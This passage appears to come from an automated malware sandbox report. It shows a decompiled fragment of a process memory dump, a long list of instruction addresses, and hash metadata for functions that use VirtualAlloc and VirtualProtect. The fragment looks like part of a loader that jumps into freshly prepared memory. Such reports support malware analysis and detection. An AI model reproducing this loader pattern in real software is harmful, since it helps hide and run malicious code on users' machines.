                                                                                                      				_v44 =  *((intOrPtr*)(_t247 + 0x50));
                                                                                                      				_v40 =  *_t247;
                                                                                                      				_v36 =  *((intOrPtr*)(_t247 + 0x18));
                                                                                                      				_v32 =  *((intOrPtr*)(_t247 + 0x4c));
                                                                                                      				_v28 =  *((intOrPtr*)(_t247 + 0x10));
                                                                                                      				_v24 = _v132;
                                                                                                      				 *_t279 = _t247;
                                                                                                      				_v188 = 0;
                                                                                                      				_v184 = 0x60;
                                                                                                      				_v160 =  &_v44;
                                                                                                      				_v164 = 0;
                                                                                                      				_v168 = 0x60;
                                                                                                      				_v172 =  *((intOrPtr*)(_v116 + 0x28));
                                                                                                      				E00231770();
                                                                                                      				if(_v172 != 0) {
                                                                                                      					_t279 =  *((intOrPtr*)( &_v44 + 0x10));
                                                                                                      					goto __eax;
                                                                                                      				}
                                                                                                      				return 1;
                                                                                                      			}































































                                                                                                      0x0023209e
                                                                                                      0x002320ac
                                                                                                      0x002320b3
                                                                                                      0x002320b6
                                                                                                      0x002320c0
                                                                                                      0x002320c7
                                                                                                      0x002320d1
                                                                                                      0x002320d7
                                                                                                      0x002320e0
                                                                                                      0x002320e9
                                                                                                      0x002320ec
                                                                                                      0x002320f0
                                                                                                      0x002320f8
                                                                                                      0x002320ff
                                                                                                      0x00232102
                                                                                                      0x00232105
                                                                                                      0x00232108
                                                                                                      0x0023210b
                                                                                                      0x00232125
                                                                                                      0x0023212b
                                                                                                      0x0023212e
                                                                                                      0x00232136
                                                                                                      0x0023213a
                                                                                                      0x0023213d
                                                                                                      0x00232140
                                                                                                      0x00232143
                                                                                                      0x00232146
                                                                                                      0x00232162
                                                                                                      0x0023217f
                                                                                                      0x002321a4
                                                                                                      0x002321a6
                                                                                                      0x002321af
                                                                                                      0x002321b2
                                                                                                      0x002321bc
                                                                                                      0x002321bf
                                                                                                      0x002321c2
                                                                                                      0x002321c5
                                                                                                      0x002321c8
                                                                                                      0x00232216
                                                                                                      0x00232216
                                                                                                      0x00232249
                                                                                                      0x0023224c
                                                                                                      0x0023225c
                                                                                                      0x0023225f
                                                                                                      0x002322a8
                                                                                                      0x002322a8
                                                                                                      0x002322b7
                                                                                                      0x002322bf
                                                                                                      0x002322cd
                                                                                                      0x002322dc
                                                                                                      0x0023230d
                                                                                                      0x00232316
                                                                                                      0x0023231a
                                                                                                      0x0023231e
                                                                                                      0x00232325
                                                                                                      0x0023232b
                                                                                                      0x0023232d
                                                                                                      0x00232336
                                                                                                      0x00232347
                                                                                                      0x0023234d
                                                                                                      0x00232350
                                                                                                      0x00232353
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00232359
                                                                                                      0x002322a8
                                                                                                      0x00232264
                                                                                                      0x00232272
                                                                                                      0x0023227a
                                                                                                      0x0023227d
                                                                                                      0x0023227f
                                                                                                      0x00232285
                                                                                                      0x00232291
                                                                                                      0x00232297
                                                                                                      0x0023229a
                                                                                                      0x0023229d
                                                                                                      0x002321f9
                                                                                                      0x002321f9
                                                                                                      0x0023236e
                                                                                                      0x00232374
                                                                                                      0x00232379
                                                                                                      0x0023237f
                                                                                                      0x00232385
                                                                                                      0x0023238b
                                                                                                      0x00232391
                                                                                                      0x00232394
                                                                                                      0x00232397
                                                                                                      0x0023239f
                                                                                                      0x002323a7
                                                                                                      0x002323ad
                                                                                                      0x002323b3
                                                                                                      0x002323b9
                                                                                                      0x002323bf
                                                                                                      0x002323cd
                                                                                                      0x002321da
                                                                                                      0x002321e0
                                                                                                      0x002321e0
                                                                                                      0x00232234

                                                                                                      APIs
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.321650581.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID: `
                                                                                                      • API String ID: 544645111-2679148245
                                                                                                      • Opcode ID: f86d6f9c09597c2a0163111d996e803fddca904a5a4cdf31f95127afe582ce46
                                                                                                      • Instruction ID: cd38ec3f4707d356ef856e5f39c0ec8c6d27ae2e24fbee9db7281ae6761b296d
                                                                                                      • Opcode Fuzzy Hash: f86d6f9c09597c2a0163111d996e803fddca904a5a4cdf31f95127afe582ce46
                                                                                                      • Instruction Fuzzy Hash: 4AB1CEB4E10219CFCB14CF99C880A9DFBF1BF88304F25816AE958AB351D734A995CF91
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.321650581.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: a57c29dcdcfacf9aa16c2e0c098cfba5b3c29415035591b01ff4a810787df466
                                                                                                      • Instruction ID: 28262940788a5e6283f16517771f810a1e145f286dfbc2dc5a3ea9d450bd86bc
                                                                                                      • Opcode Fuzzy Hash: a57c29dcdcfacf9aa16c2e0c098cfba5b3c29415035591b01ff4a810787df466
                                                                                                      • Instruction Fuzzy Hash: 5B41E5B5E1521A8FDB04DFA8C4906AEBBF0FF48314F19856EE948AB340D375A850CF94
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Non-executed Functions